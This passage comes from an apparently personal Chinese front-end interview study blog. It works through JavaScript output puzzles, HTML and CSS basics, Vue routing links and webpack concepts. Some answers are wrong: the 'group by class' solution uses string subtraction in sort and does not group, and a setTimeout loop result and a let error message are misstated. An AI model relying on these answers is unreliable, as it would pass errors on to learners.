function_">log</span>(name,<span class="string">&#x27;111&#x27;</span>);</span><br><span class="line"><span class="comment">// Cat</span></span><br><span class="line"><span class="comment">// Cat 111</span></span><br><span class="line"><span class="comment">// Cat 一秒后</span></span><br></pre></td></tr></table></figure><img src="https://z3.ax1x.com/2021/04/25/czsyKU.png" /><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">6</span>, <span class="number">1</span>];</span><br><span class="line"><span class="keyword">var</span> a = [...<span class="keyword">new</span> <span class="title class_">Set</span>(arr)];</span><br><span class="line">a; <span class="comment">// [1, 4, 2, 6] 注意顺序</span></span><br></pre></td></tr></table></figure><p><strong>下面正确输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">   <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;setTimeout&#x27;</span>);</span><br><span class="line">&#125;, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;promise start&#x27;</span>);</span><br><span class="line">    <span class="title function_">resolve</span>(<span class="string">&#x27;promise ok&#x27;</span>);</span><br><span class="line">&#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;then result&#x27;</span>, data);</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;success&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// promise start</span></span><br><span class="line"><span class="comment">// success</span></span><br><span class="line"><span class="comment">// then result promise ok</span></span><br><span class="line"><span class="comment">// setTimeout 延迟一段时间</span></span><br></pre></td></tr></table></figure><h1 id="面试题库4"><a href="#面试题库4" class="headerlink" title="面试题库4"></a>面试题库4</h1><p><strong>输出下列代码的console.log的结果顺序</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">info</span>(<span class="number">1</span>);</span><br><span class="line">    <span class="title class_">Promise</span>.<span class="title function_">resolve</span>().<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>);</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">3</span>);</span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"></span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">4</span>);</span><br><span class="line">&#125;, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">5</span>);</span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">6</span>);</span><br><span class="line">    &#125;, <span class="number">0</span>)</span><br><span class="line"><span class="title function_">resolve</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">7</span>);</span><br><span class="line">&#125;)</span><br><span class="line">p.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">8</span>);</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">9</span>);</span><br><span class="line"><span class="comment">// 我之前答案：3 1 2 5 7 9 8 6 4</span></span><br><span class="line"><span class="comment">// 正确答案： 3 1 5 7 9   2 8 4 6</span></span><br><span class="line"><span class="comment">// 先执行完同步任务</span></span><br></pre></td></tr></table></figure><p><strong><code>举个例子</code></strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span>);</span><br><span class="line">&#125;, <span class="number">0</span>)</span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>);</span><br><span class="line">    <span class="title function_">resolve</span>();</span><br><span class="line">&#125;).<span class="title function_">then</span>(<span class="function">() =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">3</span>))</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">4</span>);</span><br><span class="line"><span class="comment">// 2 4 3 1</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>执行逻辑为：首先解析到定时器，因为是异步任务，所以添加到任务队列中，接下来实例化Promise，立即执行其中的内容，输出2，之后把then中的函数加入任务队列中，执行最后一行代码，输出4。此时任务队列中有两个任务，分别是setTimeout与then。then中的函数属于微任务，JS引擎内部的任务，所以先于setTimeout执行，输出3。最后执行setTimeou，它属于宏任务，浏览器API，输出1。<br>其实也没有太搞懂这个宏任务和微任务的区别，先记住，等以后学到了再说</p><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">    <span class="keyword">let</span> a = <span class="number">20</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// ReferenceError: a is not defined</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">01</span> + <span class="number">0.2</span> === <span class="number">0.3</span>); <span class="comment">// false</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span> + <span class="string">&#x27;2&#x27;</span> + <span class="string">&#x27;2&#x27;</span>); <span class="comment">// 122</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span> + + <span class="string">&#x27;2&#x27;</span> + <span class="string">&#x27;2&#x27;</span>); <span class="comment">// 32</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span> + - <span class="string">&#x27;1&#x27;</span> + <span class="string">&#x27;2&#x27;</span>); <span class="comment">// 02</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(+ <span class="number">1</span> + <span class="string">&#x27;1&#x27;</span> + <span class="string">&#x27;2&#x27;</span>); <span class="comment">// 112</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;a&#x27;</span> -<span class="string">&#x27;b&#x27;</span> + <span class="string">&#x27;2&#x27;</span>); <span class="comment">// NaN2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;a&#x27;</span> -<span class="string">&#x27;b&#x27;</span> + <span class="number">2</span>); <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(+ <span class="string">&#x27;2&#x27;</span>); <span class="comment">// 2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(+ + <span class="string">&#x27;2&#x27;</span>); <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Array</span>(); <span class="comment">// []</span></span><br><span class="line"><span class="title class_">Array</span>(<span class="number">3</span>); <span class="comment">// [, , ,]  定义了一个长度为3的空数组</span></span><br><span class="line"><span class="title class_">Array</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(); <span class="comment">// []</span></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="number">3</span>); <span class="comment">// [3]</span></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">name</span> = <span class="string">&#x27;张三&#x27;</span>;</span><br><span class="line">    <span class="keyword">var</span> age = <span class="number">18</span>;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">sayAge</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;my age is &#x27;</span> + <span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">sayHi</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Hi&#x27;</span> + name)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Fn</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p.<span class="property">name</span>); <span class="comment">// 张三</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p.<span class="property">age</span>); <span class="comment">// undefined</span></span><br><span class="line">p.<span class="title function_">sayAge</span>(); <span class="comment">// my age is undefined</span></span><br><span class="line">p.<span class="title function_">sayHi</span>(); <span class="comment">// Hi</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// console.log(&#x27;Hi&#x27; + name) 涉及到作用域链，如果当前作用域没有这个name，那么继续往上层作用域找，直至顶层对象this</span></span><br></pre></td></tr></table></figure><p>解析</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> name;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(name); <span class="comment">// 按照正常思路来说，只是声明了name变量并未赋值，所以按常理来说应该输出 undefined</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 究其原因，是因为window存在一个叫 name 的属性</span></span><br><span class="line"><span class="comment">// 此属性为空，实际上，开发者定义的所有变量，都会成为window的属性，如果变量没有被赋值，则该变量不会覆盖window上的同名属性</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(name + <span class="string">&#x27;aaa&#x27;</span>); <span class="comment">// aaa</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span> + <span class="string">&#x27;aaa&#x27;</span>); <span class="comment">// aaa</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(fn, <span class="number">0</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>().<span class="title function_">then</span>(fn)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span>(i === <span class="number">3</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 0 1 2</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    [<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">8</span>,<span class="number">9</span>].<span class="title function_">forEach</span>(<span class="keyword">function</span>(<span class="params">i</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span>(i === <span class="number">3</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 0 1 2 4 5 6 7 8 9  注意没有3</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// forEach中不能使用continue和break</span></span><br><span class="line"><span class="comment">// forEach中使用return语句的作用只能跳出当前循环，并不能跳出整个循环</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// forEach 循环不能被 return 终止，其作用和 for循环中的 continue 相似 只是跳出当前循环，继续执行下一次循环，在 forEach 中也不能使用 break，continue 来跳出循环 同样会有报错</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> objA = &#123;<span class="attr">a</span>: <span class="number">10</span>, <span class="attr">b</span>: <span class="number">20</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> objB = objA;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(objA.<span class="property">a</span>); <span class="comment">// 10</span></span><br><span class="line"></span><br><span class="line">objB.<span class="property">a</span> = <span class="number">30</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(objA.<span class="property">a</span>); <span class="comment">// 30</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    objA.<span class="property">a</span> = <span class="number">10</span>;</span><br><span class="line">&#125;, <span class="number">0</span>) </span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(objB.<span class="property">a</span>); <span class="comment">// 30</span></span><br></pre></td></tr></table></figure><p><strong>下面代码输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">3</span>]);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// Set(4) &#123;0, 1, 2, 3&#125;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr.<span class="property">length</span>); <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><h1 id="面试题库5"><a href="#面试题库5" class="headerlink" title="面试题库5"></a>面试题库5</h1><p><strong>HTML语义化的理解</strong></p><ul><li>什么是HTML语义化？</li></ul><p>根据内容的结构化（内容语义化），选择合适的标签（代码语义化），能够便于开发者阅读和写出更优雅的代码的同时让浏览器的爬虫和机器更好地解析</p><ul><li>为什么要语义化?</li></ul><ol><li>为了在没有CSS的情况下，页面也能呈现出很好地内容结构、代码结构</li><li>用户体验，例如title、alt用于解释名词或解释图片信息的标签尽量填写有含义的词语、label标签的活用</li><li>有利于SEO：和搜索引擎建立良好沟通，有助于爬虫抓取更多的有效信息：爬虫依赖于标签来确定上下文和各个关键字的权重</li><li>方便其他设备解析（如屏幕阅读器、盲人阅读器、移动设备）以有意义的方式来渲染网页</li><li>便于团队开发和维护，语义化更具可读性，遵循W3C标准的团队都遵循这个标准，可以减少差异化</li></ol><p><strong>&lt;!DOCTYPE&gt;作用？ 标准模式和兼容模式各有什么区别？</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">声明位于位于<span class="variable constant_">HTML</span>文档中的第一行</span><br><span class="line">告知浏览器的解析器用什么文档标准解析这个文档</span><br><span class="line"><span class="variable constant_">DOCTYPE</span>不存在或格式不正确会导致文档以兼容模式呈现</span><br><span class="line"></span><br><span class="line">标准模式的排版 和<span class="variable constant_">JS</span>运作模式都是以该浏览器支持的最高标准运行。</span><br><span class="line">在兼容模式中，页面以宽松的向后兼容的方式显示,模拟老式浏览器的行为以防止站点无法工作。</span><br></pre></td></tr></table></figure><p><strong>解释写CSS3的Flex布局，以及适用场景</strong></p><p><strong>请列举几种隐藏元素的方法</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">visibility</span>: hidden;</span><br><span class="line"></span><br><span class="line"><span class="attribute">opacity</span>: <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="attribute">display</span>: none;</span><br><span class="line"></span><br><span class="line"><span class="attribute">transform</span>: <span class="built_in">scale</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="attribute">height</span>: <span class="number">0</span>; <span class="attribute">overflow</span>: hidden;</span><br></pre></td></tr></table></figure><p><strong>为什么script要放到底下</strong></p><p>浏览器在解析到<body>标签之前，不会渲染页面的任何部分。把脚本放到页面顶部会导致明显的延迟，通常表现为显示空白页面，用户无法浏览内容，也无法和页面进行交互。</p><p><strong>重绘重排</strong></p><p><strong>请求类型</strong></p><p>请求类型有8种，我常用的有4种，分别是get、post、put、delete</p><p>get主要是用来请求数据的，post主要用来上传数据的，put主要用来修改数据的，delete主要用来删除数据的</p><h1 id="面试题库6"><a href="#面试题库6" class="headerlink" title="面试题库6"></a>面试题库6</h1><p><strong>以下输出什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">1</span>; i &lt;= <span class="number">5</span>; i++) &#123;</span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(i) &#125;, i * <span class="number">1000</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 6</span></span><br></pre></td></tr></table></figure><p><strong>以下输出什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">test</span>(<span class="params">x, y, z</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(test.<span class="property">length</span>);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>.<span class="property">length</span>);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>[<span class="number">2</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">test</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line"><span class="comment">// 3</span></span><br><span class="line"><span class="comment">// 2</span></span><br><span class="line"><span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p><strong>以下输出什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> x = y = <span class="number">1</span>;</span><br><span class="line">&#125;) ();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(x, y); <span class="comment">// Uncaught ReferenceError: x is not defined</span></span><br></pre></td></tr></table></figure><p><strong>以下输出什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">101</span>;</span><br><span class="line"><span class="keyword">var</span> b = a &gt; <span class="number">100</span> &amp;&amp; (a = <span class="number">70</span>);</span><br><span class="line"><span class="keyword">var</span> c = (a &gt; <span class="number">50</span>) || (a = <span class="number">25</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a, b, c); <span class="comment">// 70  70  true</span></span><br></pre></td></tr></table></figure><p><strong>说说你对浏览器hash的理解</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> hash 路由：</span><br><span class="line">监听 url 中 hash 的变化，然后渲染不同的内容，这种路由不向服务器发送请求，不需要服务端的支持；</span><br><span class="line"><span class="number">2.</span> history 路由：</span><br><span class="line">监听 url 中的路径变化，需要客户端和服务端共同的支持；</span><br></pre></td></tr></table></figure><p>知乎：<a href="https://zhuanlan.zhihu.com/p/130995492">https://zhuanlan.zhihu.com/p/130995492</a></p><p><strong>以下输出什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">type</span>: <span class="string">&#x27;Identifier&#x27;</span>,</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;aaa&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> &#123; type, name, value &#125; = obj;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(type, name, value); <span class="comment">// Identifier aaa undefined</span></span><br></pre></td></tr></table></figure><p><strong>用js算法实现一个函数，函数可以把一个数组拆分成多个数组，并且按每3个一组，如[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]经过此函数变成[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10]]</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">group</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> a = [];</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span>; i += <span class="number">3</span>) &#123;</span><br><span class="line">    a.<span class="title function_">push</span>(arr.<span class="title function_">slice</span>(i, i + <span class="number">3</span>));</span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">return</span> a;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, <span class="number">9</span>, <span class="number">10</span>];</span><br><span class="line"><span class="title function_">group</span>(arr); <span class="comment">// [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10]]</span></span><br></pre></td></tr></table></figure><p><strong>用JS算法实现把[{name: ‘a’, class: ‘一班’}, {name: ‘c’, class: ‘三班’}, {name: ‘b’, class: ‘二班’}, {name: ‘d’, class: ‘一班’}]按班级分组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [&#123;<span class="attr">name</span>: <span class="string">&#x27;a&#x27;</span>, <span class="attr">class</span>: <span class="string">&#x27;一班&#x27;</span>&#125;, &#123;<span class="attr">name</span>: <span class="string">&#x27;c&#x27;</span>, <span class="attr">class</span>: <span class="string">&#x27;三班&#x27;</span>&#125;, &#123;<span class="attr">name</span>: <span class="string">&#x27;b&#x27;</span>, <span class="attr">class</span>: <span class="string">&#x27;二班&#x27;</span>&#125;, &#123;<span class="attr">name</span>: <span class="string">&#x27;d&#x27;</span>, <span class="attr">class</span>: <span class="string">&#x27;一班&#x27;</span>&#125;];</span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a.<span class="property">class</span> - b.<span class="property">class</span>);</span><br><span class="line">a;</span><br><span class="line"><span class="comment">// 0: &#123;name: &quot;a&quot;, class: &quot;一班&quot;&#125;</span></span><br><span class="line"><span class="comment">// 1: &#123;name: &quot;c&quot;, class: &quot;三班&quot;&#125;</span></span><br><span class="line"><span class="comment">// 2: &#123;name: &quot;b&quot;, class: &quot;二班&quot;&#125;</span></span><br><span class="line"><span class="comment">// 3: &#123;name: &quot;d&quot;, class: &quot;一班&quot;&#125;</span></span><br></pre></td></tr></table></figure><p><strong>vue如何获取路由参数，如何编程式导航</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">https</span>:<span class="comment">//www.jianshu.com/p/c6492491d13f?clicktime=1577280094</span></span><br></pre></td></tr></table></figure><p><strong>vue如何响应路由参数的变化</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">https</span>:<span class="comment">//www.cnblogs.com/restart77/p/13377257.html</span></span><br></pre></td></tr></table></figure><p><strong>npm install –save 和 npm install –save-dev的区别</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">https</span>:<span class="comment">//blog.csdn.net/pange1991/article/details/88591837</span></span><br></pre></td></tr></table></figure><p>webpack基础</p><p><strong>什么是bundle，什么是chunk， 什么是modules?</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">bundle：是由webpack打包出来的文件，</span><br><span class="line"></span><br><span class="line">chunk：代码块，一个chunk由多个模块组合而成，用于代码的合并和分割。</span><br><span class="line"></span><br><span class="line"><span class="variable language_">module</span>：是开发中的单个模块，在webpack的世界，一切皆模块，一个模块对应一个文件，webpack会从配置的entry中递归开始找出所有依赖的模块</span><br></pre></td></tr></table></figure><p><strong>webpack构建流程</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 根据配置，识别入口文件；</span><br><span class="line"><span class="number">2.</span> 逐层识别模块依赖（包括 <span class="title class_">Commonjs</span>、<span class="variable constant_">AMD</span>、或 <span class="title class_">ES6</span> 的 <span class="keyword">import</span> 等，都会被识别和分析）；</span><br><span class="line"><span class="number">3.</span> <span class="title class_">Webpack</span> 主要工作内容就是分析代码，转换代码，编译代码，最后输出代码；</span><br><span class="line"><span class="number">4.</span> 输出最后打包后的代码。</span><br></pre></td></tr></table></figure><p><strong>说一下loader是何作用</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">file-<span class="attr">loader</span>: 把文件输出到一个文件夹中，在代码中通过相对 <span class="variable constant_">URL</span> 去引用输出的文件</span><br><span class="line">url-<span class="attr">loader</span>: 和 file-loader 类似，但是能在文件很小的情况下以 base64 的方式把文件内容注入到代码中去</span><br><span class="line">source-map-<span class="attr">loader</span>: 加载额外的 <span class="title class_">Source</span> <span class="title class_">Map</span> 文件，以方便断点调试</span><br><span class="line">image-<span class="attr">loader</span>: 加载并且压缩图片文件</span><br><span class="line">babel-<span class="attr">loader</span>: 把 <span class="title class_">ES6</span> 转换成 <span class="title class_">ES5</span></span><br><span class="line">css-<span class="attr">loader</span>: 加载 <span class="variable constant_">CSS</span>，支持模块化、压缩、文件导入等特性（可以理解为将css代码转换为js代码）</span><br><span class="line">style-<span class="attr">loader</span>: 把 <span class="variable constant_">CSS</span> 代码注入到 <span class="title class_">JavaScript</span> 中，通过 <span class="variable constant_">DOM</span> 操作去加载 <span class="variable constant_">CSS</span></span><br><span class="line">eslint-<span class="attr">loader</span>: 通过 <span class="title class_">ESLint</span> 检查 <span class="title class_">JavaScript</span> 代码</span><br><span class="line">less-<span class="attr">loader</span>: css预处理</span><br></pre></td></tr></table></figure><p><strong>webpack打包是如何优化前端性能的</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 压缩代码。删除多余的代码、注释、简化代码的写法等等方式。可以利用webpack的<span class="title class_">UglifyJsPlugin</span>和<span class="title class_">ParallelUglifyPlugin</span>来压缩<span class="variable constant_">JS</span>文件， 利用cssnano（css-loader?minimize）来压缩css</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 利用<span class="variable constant_">CDN</span>加速。在构建过程中，将引用的静态资源路径修改为<span class="variable constant_">CDN</span>上对应的路径。可以利用webpack对于output参数和各loader的publicPath参数来修改资源路径</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> 删除死代码（<span class="title class_">Tree</span> <span class="title class_">Shaking</span>）。将代码中永远不会走到的片段删除掉。可以通过在启动webpack时追加参数--optimize-minimize来实现</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> 提取公共代码。</span><br></pre></td></tr></table></figure><h1 id="面试题库7"><a href="#面试题库7" class="headerlink" title="面试题库7"></a>面试题库7</h1><p><strong>事件委托是什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span 